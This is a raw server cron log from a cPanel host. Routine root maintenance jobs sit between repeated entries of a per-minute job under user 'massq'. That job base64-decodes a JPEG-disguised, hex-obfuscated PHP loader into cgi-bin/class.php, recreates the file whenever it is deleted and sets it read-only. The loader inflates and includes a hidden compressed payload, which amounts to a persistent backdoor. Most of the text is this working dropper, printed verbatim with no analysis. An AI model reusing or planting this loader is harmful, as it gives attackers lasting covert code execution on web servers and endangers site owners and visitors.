"$fp")
Aug 31 18:01:01 server run-parts(/etc/cron.hourly)[24001]: starting 0anacron
Aug 31 18:01:01 server run-parts(/etc/cron.hourly)[24020]: finished 0anacron
Aug 31 18:02:01 server CROND[24395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:02:01 server CROND[24396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:02:01 server CROND[24398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:03:01 server CROND[24770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:03:01 server CROND[24771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:03:01 server CROND[24772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:04:01 server CROND[25149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:04:01 server CROND[25150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:04:01 server CROND[25152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:05:01 server CROND[25573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:05:01 server CROND[25575]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:05:01 server CROND[25582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:05:01 server CROND[25585]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:05:01 server CROND[25580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:05:01 server CROND[25583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:05:01 server CROND[25581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:05:01 server CROND[25584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:06:01 server CROND[26476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:06:01 server CROND[26477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:06:01 server CROND[26478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:07:01 server CROND[26853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:07:01 server CROND[26854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:07:01 server CROND[26855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:08:01 server CROND[27230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:08:01 server CROND[27231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:08:01 server CROND[27232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:09:01 server CROND[27608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:09:01 server CROND[27610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:09:01 server CROND[27611]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 18:09:01 server CROND[27609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:10:01 server CROND[28011]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:10:01 server CROND[28014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:10:01 server CROND[28018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:10:01 server CROND[28019]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:10:01 server CROND[28021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:10:01 server CROND[28020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:10:01 server CROND[28024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:10:01 server CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:11:01 server CROND[29016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:11:01 server CROND[29018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:11:01 server CROND[29019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:12:01 server CROND[29406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:12:01 server CROND[29408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:12:01 server CROND[29409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:12:01 server CROND[29410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:13:01 server CROND[29785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:13:01 server CROND[29786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:13:01 server CROND[29787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:14:01 server CROND[30169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
